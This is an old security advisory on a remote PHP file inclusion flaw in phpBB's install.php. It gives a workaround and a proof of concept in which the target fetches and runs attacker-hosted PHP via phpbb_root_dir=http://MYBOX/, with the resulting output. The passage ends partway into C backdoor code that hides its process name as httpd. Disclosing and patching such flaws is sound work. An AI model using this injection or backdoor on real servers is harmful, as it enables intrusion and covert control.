Malicious PHP Source Injection in phpBB (install.php)
18 Jun. 2002
Summary
phpBB is one of popular PHP bulletin board systems. When "allow_url_fopen" is set to "On" and "register_globals" is also set to "On" (in php.ini), phpBB contains a vulnerability in its install.php code that will allow attackers to insert malicious PHP code into existing web pages.
Credit:
The information has been provided by morris Chang.
Workaround:
Set "allow_url_fopen" to "Off" and "register_globals" to "Off". After you have completed the installation process remove or rename the install.php script. Or modify the install.php:
Example:
Create the following file: --------------------includes/functions_selects.php--------------
<? passthru("uname -a"); ?>
-----------------------------------------
And then type in the following URL: http://URL/install.php?phpbb_root_dir=http://MYBOX/
This will result in something similar to: Linux cpu 2.4.18-686 #1 Sun Apr 14 11:32:47 EST 2002 i686 unknown
Warning: Cannot add header information - headers already sent by (output started at http://host/includes/functions_selects.php:1) in /home/morris/public_html/tmp/phpBB2/includes/sessions.php on line 182
Warning: Cannot add header information - headers already sent by (output started at http://host/includes/functions_selects.php:1) in /home/morris/public_html/tmp/phpBB2/includes/sessions.php on line 183
Warning: Cannot add header information - headers already sent by (output started at http://host/includes/functions_selects.php:1) in /home/morris/public_html/tmp/phpBB2/install.php on line 346
Exploit:
The following exploit code will download a C file, compile it, execute it, and cause a backdoor to open up on the remote server.
int main (int argc, char *argv[])
{
int i;
for(i=0;i<argc;i++) {
memset(argv[i],'\x0',strlen(argv[i]));
};
strcpy(argv[0],"/usr/local/apache/bin/httpd");